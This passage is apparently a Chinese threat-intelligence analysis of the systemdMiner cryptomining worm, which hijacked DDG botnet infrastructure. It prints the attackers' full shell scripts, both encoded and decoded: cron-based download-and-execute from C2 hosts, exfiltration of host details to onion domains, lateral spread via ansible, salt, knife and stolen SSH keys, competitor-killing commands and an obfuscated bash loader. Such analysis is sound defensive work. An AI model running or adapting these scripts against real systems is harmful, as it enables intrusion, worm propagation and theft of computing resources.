systemdMiner 借鸡下蛋,通过 DDG 传播自身
Share this

systemdMiner 借鸡下蛋,通过 DDG 传播自身

1. 概述

在最近的关于 DDG.Mining.Botnet v3021/v3022 版本的 威胁快讯 一文中,我们提到了 DDG 最近在用的主 C2:

119.9.106.27    AS45187|RACKSPACE-AP Rackspace IT Hosting AS IT Hosting Provider Hong Kong, HK|Hong Kong|China

2019.4.19 日凌晨,我们发现 DDG 更新了其配置数据(CfgVer:23)和恶意 Shell 脚本 i.sh,在 i.sh 脚本的最后新增了一段陌生的 Shell 代码,这段 Shell 代码会在失陷主机下载一套全新的恶意程序,之后就会脱离 DDG 的基础设施而独立运行、传播,在执行的过程中还会杀掉 DDG 的进程、清除 DDG 的 cron 配置。这套全新的恶意程序在短暂的传播过后,DDG 的上述主 C2 随即下线停止服务。

鉴于这一套恶意程序的多个恶意组件均以 systemd-<XXX> 的形式命名,我们把它命名为 systemdMinersystemdMiner 的恶意程序具有蠕虫特性,会利用 3 种手段传播自身,在入侵失陷主机后,最终会下载基于 XMRig 改写的矿机程序来挖矿牟利。

在 DDG 上述主 C2 下线期间,DDG 僵尸网络并没有消失。得益于它自身的 P2P 网络结构、其他 2 个备用 C2 和自身的系统驻留机制,DDG 整个僵尸网络还依然存活,每天活跃的 P2P Nodes 有 3000+。

直到 4.25 凌晨,DDG 才上线了 2 个新的 C2,并把版本号升级到 v4000,恢复如初。配置数据版本为 CfgVer:25 。DDG v4000 最新的配置数据中还会下发指令,篡改 hosts 文件,屏蔽 systemdMiner 的一组 C2 Domain。DDG v4000 的 2 个新 C2:

109.237.25.145    AS63949|LINODE-AP Linode, LLC|United Kingdom|London --> Main C&C
104.128.230.16    AS62217|VooServers_Ltd|United States|New York

systemdMiner 在 C2 基础设施、网络结构、恶意代码技术细节、传播方式、矿机程序等诸多方面与 DDG 完全不同:

  • DDG 的基础设施由 1 个主 C2 IP 和 2~3 个备用 C2 IP 构成,而 systemdMiner 的基础设施是架设在暗网并通过类似 tor2web 的服务映射到公网的一组 C2 Domain 以及矿池(Or Proxy) IP;
  • DDG 当前的网络结构是一个非典型的 P2P 网络结构——一组 C2 IP 和典型 P2P 网络结构相结合,而 systemdMiner 的网络结构则是传统的 C/S 结构;
  • DDG 的主样本由 Go 语言编写,从诞生至今始终如此,配合一个恶意 Shell 脚本 i.sh 来运行,而 systemdMiner 的主样本都是 C 语言编写,除此之外,二者的主样本在主要功能、实现方式等代码细节方面也完全不同;
  • DDG 目前的二进制样本都加了标准 UPX 壳,而 systemdMiner 的二进制样本加的壳都是变形 UPX 壳,没有很直观的 UPX 特征;
  • DDG 的传播方式主要是利用 SSH 弱口令和 Redis 未授权访问漏洞来传播,systemdMiner 则有 3 中完全不同的传播手段;
  • DDG 的矿机程序由 XMRig 直接编译而来,没有加壳,XMR Wallet 就硬编码在矿机程序中,sysmtedMiner 的矿机程序对 XMRig 源码做了明显改动,加了变形 UPX 壳,还没有暴露 XMR Wallet。

基于以上原因,我们认为是 systemdMiner 的团伙入侵了 DDG 的主 C2,并通过 DDG 的基础设施下发了自己的一套恶意程序,我们把这种黑吃黑的行为形容为借鸡下蛋

systemdMiner 的 3 种传播手段:

  1. 利用 YARN 未授权访问漏洞入侵主机;
  2. 利用 *nix 自动化运维工具(salt/ansible/chef-knife)横向传播;
  3. 利用失陷主机本地保存的 SSH 密钥传播自身。

systemdMiner 这一套恶意程序,涉及的多个二进制程序和 Shell 脚本,下文会一一剖析。各程序简介:

  • systemd-login-ddg: 主样本,设置定时任务,横向传播以及 Download 其他样本并执行;
  • ddgs.i686: 同上;
  • ddgs.x86_64: 同上;
  • systemd-login: 同上;
  • systemd-login-h: 同上;
  • cron.sh: 定时任务执行脚本,定期下载主样本并执行;
  • systemd.sh: 更新主样本和矿机程序;
  • systemd-resolve: 集成 YARN 未授权访问漏洞来横向传播;
  • systemd-analyze: 矿机程序。

systemdMiner 真正的 C2 服务器架设在暗网中,并通过一组类似 tor2web 的服务映射到公网,来与恶意样本通信。通过 DNSMon 查看 systemdMiner 的几个 C2 Domain 最近的访问趋势如下:

2. DDG “下的蛋”——最后的配置数据和 Shell 脚本

DDG 最新的配置数据:

{CfgVer:23 Config:{Interval:60s} Miner:[{Exe:/tmp/6Tx3Wq Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6} {Exe:/tmp/qW3xT.6 Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6}] Cmd:{AAredis:{Id:6071 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:6h GenLan:true GenAAA:false Timeout:1m Ports:[6379 6389 7379]} AAssh:{Id:2083 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:12h GenLan:true GenAAA:false Timeout:1m Ports:[22 1987]} Sh:[{Id:1 Version:-1 Line:uptime Timeout:5s} {Id:707 Version:3022 Line:rm -rf /root/.ssh/authorized_keys /root/.systemd-login Timeout:600s} {Id:701 Version:3022 Line:crontab -r Timeout:600s} {Id:708 Version:3022 Line:echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 tor2web.io\n0.0.0.0 gitee.com\n0.0.0.0 w.21-3n.xyz\n0.0.0.0 w.3ei.xyz\n0.0.0.0 aptgetgxqs3secda.onion.ly\n0.0.0.0 aptgetgxqs3secda.onion.pet\n0.0.0.0 aptgetgxqs3secda.tor2web.fyi\n0.0.0.0 aptgetgxqs3secda.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.tor2web.fyi\n0.0.0.0 rapid7cpfqnwxodo.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.onion.ly\n0.0.0.0 rapid7cpfqnwxodo.onion.pet\n" >> /etc/hosts Timeout:600s} {Id:709 Version:-1 Line:rm -f /tmp/systemd /tmp/.systemd-login /tmp/.systemd-analyze /lib/systemd/systemd-login ~/.systemd-login Timeout:600s}] Killer:[{_msgpack:{} Id:606 Version:3020 Expr:/tmp/ddgs.(3011|3012|3013|3014|3015|3016|3017|3018) Timeout:60s}] LKProc:[]}}

最后下发的 i.sh 脚本:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh" | crontab -

echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/root


mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/crontabs/root


cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep betsbce || rm -rf betsbce
if [ ! -f "betsbce" ]; then

    curl -fsSL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -o betsbce
fi
chmod +x betsbce
$(pwd)/betsbce || /usr/bin/betsbce || /usr/libexec/betsbce || /usr/local/bin/betsbce || betsbce || ./betsbce || /tmp/betsbce

ps auxf | grep -v grep | grep betsbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcd | awk '{print $2}' | xargs kill -9

echo ZXhlYyAmPi9kZXYvbnVsbApzZWQgLWkgJy9yYXBpZC9kJyAvZXRjL2hvc3RzCnNlZCAtaSAnL2FwdGdlL2QnIC9ldGMvaG9zdHMKCmQoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luLWRkZwogICAgeT0vdG1wLy5zeXN0ZW1kLWxvZ2luCiAgICB3Z2V0IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IC1PJHkgfHwgY3VybCAtZnNTTGtBLSAkMSR4IC1vJHkKICAgIGNobW9kICt4ICR5OyR5CiAgICBzbGVlcCA1Cn0KCmlmICEgcHMgLXAgJChjYXQgL3RtcC8uWDFNLXVuaXgpOyB0aGVuCiAgICBkIGFwdGdldGd4cXMzc2VjZGEub25pb24ubHkKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi5wZXQKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS50b3Iyd2ViLmZ5aSB8fCBkIGFwdGdldGd4cXMzc2VjZGEub25pb24uaW4ubmV0CmZpCgo=|base64 -d|bash

其实类似上述 i.sh 的 Shell 脚本文件在 4.19 日凌晨下发了多个,它们的主要区别是最后下载的 ddgs 样本另存为的文件名不同。注意 i.sh 脚本最后一段 Base64 编码过的字串,解码后是另外一段独立的 Shell 脚本:

exec &>/dev/null
sed -i '/rapid/d' /etc/hosts
sed -i '/aptge/d' /etc/hosts

d() {
    x=/systemd-login-ddg
    y=/tmp/.systemd-login
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 5
}

if ! ps -p $(cat /tmp/.X1M-unix); then
    d aptgetgxqs3secda.onion.ly
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
    d aptgetgxqs3secda.onion.pet
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
    d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net
fi

这段 Shell 脚本,首先检查 /tmp/.X1M-unix 文件里的进程号对应的进程是否存活,文件不存在或者进程不存活则尝试通过以下 URL 下载 systemd-login-ddg 文件并执行:

aptgetgxqs3secda.onion.ly/systemd-login-ddg
aptgetgxqs3secda.onion.pet/systemd-login-ddg
aptgetgxqs3secda.tor2web.fyi/systemd-login-ddg
aptgetgxqs3secda.onion.in.net/systemd-login-ddg

除此之外, i.sh 脚本中,以前 DDG 样本的下载 URL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) 下到的文件也被替换成 systemdMiner 相关的恶意程序。

这样一来,就可以通过 DDG 的这一波更新,下发 3 个 systemdMiner 的恶意程序:

  1. systemd-login-ddg
  2. ddgs.i686
  3. ddgs.x86_64

3. systemdMiner 系列样本分析

3.1 systemd-login-ddg

systemd-login-ddgsystemdMiner 团伙通过 DDG 的网络基础设施下发的一个最主要的恶意程序,另外两个同时下发的 ddgs.i686ddsg.x86_64 都是 systemd-login-ddg 的变种。顺着 systemd-login-ddg 的执行,后续还会涉及两个恶意程序,都是 systemd-login-ddg 的变种,区别在于部分 C2 Domain 设定不同,这些同类恶意程序有:

  • systemd-login
  • systemd-login-h

systemdMiner 相关的所有二进制样本,都由 musl-libc 编译而成。并且都用变形的 UPX 加了壳,壳代码改动很多,变形 UPX 壳的 Magic Number 为 0x7373622E(ASCII String: .bss ) :

脱壳后,恶意程序在刚开始就会检查 LD_PRELOADPTRACE_TRACEME ,用来对抗针对性地调试和沙箱:

然后,systemd-login-ddg 会删除自身文件,创建守护进程并把进程号写入 /tmp/.X1M-unix 文件,进程名为 -bash

接下来,systemd-login-ddg 会把下面的脚本保存到 /tmp/systemd 文件中:

#!/bin/bash
exec &>/dev/null
{echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgd2dldCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0L2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLm9uaW9uLmluLm5ldC9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash

上述脚本中的编码字串解码后如下:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
sleep $((RANDOM % 600))
(wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.fyi/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.fyi/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.in.net/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.in.net/cron.sh )|bash

如果当前用户是 root ,样本还会探测 /lib/systemd/ 目录,并执行命令 cp -f /tmp/systemd /lib/systemd/systemd-login,用于开机启动。

然后,执行命令 mv -f /tmp/systemd ~/.systemd-loginsystemd 文件移动到用户主目录并隐藏。

上面用来开机启动执行的脚本文件 /lib/systemd/systemd-login ,会从 C2 服务器下载 cron.sh 文件并执行。cron.sh 是经过高度混淆的 Shell 脚本,原始内容如下:

"${@%4}"$'\145v'${*%%5}al "$(rK=(\& \ ${*,,} l H \|${*//t5/&W} h n"${@//ar}" s \+${*##\(%} \!${!*} M${*^^} \. c 1${*##o} T 3"${@~~}" a${*~} w"${@%9Q}" g q \-${*#uo} \(${*,} \=${*##+C} \; O${*%JK} U"${@~}" 2$* \<${*%%3} y \} \:${@//_o/F} u e"${@}" r \/ L \{ o i k S"${@//Ao/W}" m f${@/s\`/\]} v${@%0$} A $'\xa'${*/Xr/>} \$${*/&T} b t"${@^^}" P x \) X p${*/u} d \>)&&for JS in 32${*#mP} 50"${@%%L}" 32${*%%b} 12${@} 1 0 55 34${@/~f/-\\} 54 32 43 34${*/^\{/T} 6 31 2"${@//s/x}" 2${*,,} 45"${@,,}" 32${*%E} 50 53${*//;\]/O} 37 33 48 1 49${*~} 44 14 3 22 46 49 44 14"${@,}" 3 30 34 47${@##+H} 38${*/j\!} 6 30 34${*%Oe} 7 47 38 6${*/P\}/\)s} 30${@%%DG} 34"${@%%J7}" 31$@ 7 33 34 47 38 6${*##Iq} 30 34${@} 31"${@%Z}" 7${*%G6} 33"${@}" 34 7${@^} 47 38 6${@%h} 30 34 31${@##fO} 7${*##R} 33 34 2${*~} 37"${@//q?}" 12 16 2${@//K/EH} 34 47${*//./_\}} 38 6 30 34 31 7${*^} 33$* 34"${@,}" 2${*~~} 37"${@/-/=}" 12${*~~} 16 2 34 7 47 38 6${*} 45 45 54 21 51$@ 1 36"${@##qh}" 45"${@^}" 1"${@,,}" 1${@/^z/o} 1 1 50 22${*~~} 34"${@##\`}" 7 28"${@,}" 7${@//L*/i} 48 32${*,} 41 54 20 2${@~~} 37${*#DF} 18${@//CK/\`\"} 38 6 45${*#A4} 1${*~~} 1 1${*//9S/d} 1 28"${@~~}" 22 34${@^} 48${*^} 41${@^^} 53 34${*/Y\}} 7 28 7 48${*##\"<} 32${*%v} 41${*#0m} 54 45${*^^} 1 1 1 1 17 18 32 48"${@^}" 1 20${*/-G} 19 25 20 1 20"${@}" 20 6 37${*^^} 20${*##C} 12${@,} 5${*//<Y} 32 12 39${@^^} 20${*%|} 12 32 33${*~~} 48 38 42${*^} 38 12${@//#/ML} 16 48 32${*^} 1${@^^} 46 13${*~} 46 50${*/Rg} 1 20 24 46"${@,,}" 28 1 4 4${*%g8} 1$@ 12"${@%%%S}" 31"${@}" 33"${@##6^}" 2 1 20 42 7${*~~} 40 35${!*} 39 44${@//y} 20 1${*~~} 46 13 46 50${@%m} 1"${@##Zk}" 20"${@//;O}" 37 46 28 45${*%dG} 1${*##>} 1 1${*^} 1 12 5${@%%?} 41 37${*~} 54 1 8${*,} 50${*,} 1"${@%%V}" 46${*%h6} 28${*%h7} 23 46${*~} 28"${@^^}" 45 29${@//5/1} 45 45 38 42 1${*//z/\(G} 9${@} 1 53 7 1${*//NU/;*} 20 53${*//My/_y} 1 46 21 27${*/?h/Y6} 1 34 48 41${!@} 53 34 11"${@//?\(/9}" 52"${@//:3}" 13${*~~} 10 20 31"${@#o}" 6${@#U} 38 50 51 23 1${*} 48${*##kx} 5${*/_/zi} 32${*} 6 45${!@} 1${@~~} 1 1${*^^} 1 54 1 16$@ 53 48${*##6} 18${*//T/q} 32 48"${@/Tc/&F}" 18${*/Y} 50 19 7${!@} 15${@^} 7 32${*~} 12 54 16 11${*%%&W} 37${*//2/\}#} 6${*//\}^/F} 38 37 6${!@} 11 38${*,} 6${*,,} 11 6${*/NM/F} 32 48 1"${@##r}" 4 4${*^^} 1${*#3} 54${@^^} 1"${@}" 16 53 48 18 32${@/\}\}} 48 18"${@^}" 50"${@^}" 19${@##d%} 7${!@} 15 7"${@}" 32${*/ve} 12${!*} 54${@^} 16 11 37 6${*^^} 38 37 6 11${*%s} 7 5 1 4"${@%77}" 4 1 54${@} 1${@/Rm} 16${!*} 53${*%36} 48${*^} 18"${@~}" 32${*//,/P} 48 18 50${@##@} 19"${@%b}" 7 15 7 32${*^^} 12 54 16 11${*^^} 48 37"${@//Ca}" 33"${@~~}" 26${*//5} 17 32${@//So} 47 11 42${*~} 28 38"${@^^}" 1 4 4${*,} 1 54 1${@//k?} 16${@/\\} 53 48 18$@ 32${@#\\} 48 18${@/9} 50 19 7${*#\`c} 15 7 32 12${*^} 54${@%\]} 16 11 48 37"${@#V6}" 33"${@^^}" 26${*%%T} 17${*^^} 32 47${@/f7/p} 11${*#+H} 38${*,} 37${*%%wo} 45${*/<} 42 38 45"${@~~}";do pr${*//<}i$'\x6e'\tf %s "${rK[$JS]}""${@/#}";done;)"

解混淆后的真面目:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-login
    y=/tmp/systemd
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
}

if ! ps -p $(< /tmp/.X1M-unix); then
    d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.tor2web.io
fi

最后,systemd-login-ddg 会继续执行一系列经过 Base64 编码的 Shell 脚本。

3.1.1 Shell 脚本一:上报 C2,利用自动化运维工具传播

原始脚本经过 Base64 编码,解码后如下:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

xssh() {
    ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no $1@$2 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
}

s1() {
    x=/slave
    y=($(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0))
    wget -qU- -O- --no-check-certificate --referer=$y $1$x || curl -fsSLkA- -e$y $1$x
}

s2() {
    x=/systemd-resolve
    y=/tmp/systemd-resolve
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
}

s3() {
    if [ -x $(command -v ansible) ]; then
        ansible all -m shell -a 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
    fi
    if [ -x $(command -v salt) ]; then
        salt '*' cmd.run 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
    fi
    if [ -x $(command -v knife) ]; then
        knife ssh 'name:*' 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
    fi
    if [ -f $HOME/.ssh/id_rsa ] || [ -f $HOME/.ssh/id_dsa ] || [ -f $HOME/.ssh/id_ecdsa ] || [ -f $HOME/.ssh/id_ed25519 ]; then
        hosts=$(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq)
        for h in $hosts;do xssh root $h; xssh $USER $h & done
    fi
}

s1 rapid7cpfqnwxodo.tor2web.fyi
s2 rapid7cpfqnwxodo.tor2web.fyi || s2 rapid7cpfqnwxodo.onion.in.net
s3

该脚本共有 3 个关键函数,作用分别是:

  1. s1() : 向 rapid7cpfqnwxodo.tor2web.fyi/slave 上报失陷主机信息。把失陷主机的当前用户名、CPU 架构、主机名以及当前用户的 cron table 4 组信息,拼接接成一个字符串,经过 Base64 编码后,设置为 HTTP 请求的 referer vaule,以 HTTP GET 请求的方式发送到 C2;
  2. s2(): 从 C2 下载 systemd-resolve 文件并执行,system-resolve 集成了 YARN 未授权访问漏洞的 Exp,并以此传播;
  3. s3(): 利用 3 种 *nix 自动化运维工具 (ansible/salt/chef-knife) 和本机 SSH 密钥横向传播。横向传播用到的 Shell 脚本也经过了 Base64 编码,解码后如下:
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

c() {
    x=/systemd-login
    y=/tmp/.systemd-login
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 4
}

if ! ps -p $(cat /tmp/.X1M-unix); then
    c rapid7cpfqnwxodo.tor2web.fyi || c rapid7cpfqnwxodo.onion.in.net
fi

3.1.2 Shell 脚本二:设定 cron 任务

原始脚本同样经过 Base64 编码,解码后如下:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

c() {
    if [ -x $(command -v crontab) ]; then
        if [ $(crontab -l |grep REDIS00) ]; then
            crontab -r
        fi
        if ((!EUID)); then
            if [ ! -f "/etc/cron.d/systemd" ]; then
                echo "0 * * * * root /lib/systemd/systemd-login" > /etc/cron.d/systemd
            fi
            if [ ! $(crontab -l |grep systemd-login) ]; then
                (echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
            fi
        else
            if [ ! $(crontab -l |grep systemd-login) ]; then
                (echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
            fi
        fi
    fi
}

c

该脚本的主要功能,是新建 cron 配置文件 /etc/cron.d/systemd,然后把 systemd-login-ddg 样本中落地的 /lib/systemd/systemd-login 脚本在该 cron 配置文件中设定 cron 任务。最后清除掉当前用户 cron table 中的 wgetcurl 命令,以此清除竞争对手的计划任务。

3.1.3 Shell 脚本三:杀掉竞争对手

原始脚本同样经过 Base64 编码,解码后如下:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

pkill -9 -f "8220|aegis_|AliYunDun|AliHids|AliYunDunUpdate|aliyun-service|cr.sh|cryptonight|ddgs|fs-manager|hashfish|hwlh3wlh44lh|java-c|kerberods|kworkerds|kpsmouseds|kthrotlds|mewrs|miner|mr.sh|muhsti|mygit|orgfs|qW3xT|qwefdas|stratum|sustes|t00ls|thisxxs|/tmp/ddgs|/tmp/java|/tmp/udevs|/tmp/yarn|/usr/bin/netfs|watchbog|wipefs|wnTKYg|xig|xmr|zer0"

find ~/.ddg/*|xargs fuser -k;rm -rf ~/.ddg
find /etc/cron*|xargs chattr -i
find /var/spool/cron*|xargs chattr -i
grep -RE "(wget|curl)" /etc/cron.*|cut -f 1 -d :|xargs rm -f
grep -RE "(wget|curl)" /var/spool/cron*|cut -f 1 -d :|xargs sed -i '/wget\|curl/d'
rm -f /usr/sbin/aliyun* /usr/local/aegis* /usr/local/qcloud* /usr/local/bin/dns ~/.wget-hsts

该脚本的功能就是清除各种竞争对手。

3.1.4 Shell 脚本四:下载矿机并执行

原始脚本经过 Base64 编码,解码后如下:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-analyze
    y=/tmp/.systemd-analyze
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 6
}

if ! ps -p $(cat /tmp/.X11-lock); then
    d rapid7cpfqnwxodo.tor2web.fyi || d rapid7cpfqnwxodo.onion.in.net
fi

此脚本会从 rapid7cpfqnwxodo.tor2web.fyirapid7cpfqnwxodo.tor2web.fyi 下载 systemd-analyze 文件并执行。systemd-analyze 正是基于 XMRig 改写的矿机程序。

3.1.5 Shell 脚本五:更新样本和恶意Shell脚本

原始脚本经过 Base64 编码,解码后如下:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-login
    y=/tmp/.systemd-login
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 5
}

u() {
    x=/systemd.sh
    (wget -qU- -O- --no-check-certificate $1$x || curl -fsSLkA- $1$x)|bash
}


if [ -f /tmp/.systemd-update ]; then
    kill -9 $(cat /tmp/.X1M-unix) && rm -f /tmp/.X1M-unix;rm -f /tmp/.systemd-update
    d rapid7cpfqnwxodo.onion.in.net || d rapid7cpfqnwxodo.tor2web.fyi
fi

u rapid7cpfqnwxodo.onion.in.net || u rapid7cpfqnwxodo.tor2web.fyi

systemd-login-ddg 会用此脚本检查样本更新标志文件 /tmp/.systemd-update ,据此来下载最新的 systemd-login 样本。随后会下载最新的恶意 Shell 脚本 systemd.sh 并执行。

接下来 systemd-login-ddg 还会执行第 6 个 Shell 脚本。第 6 个 Shell 脚本与第 5 个基本相同,不同点在于下载 systemd-login 样本的 C2 Domain 多了一个 rapid7cpfqnwxodo.tor2web.io

3.2. systemd-resolve

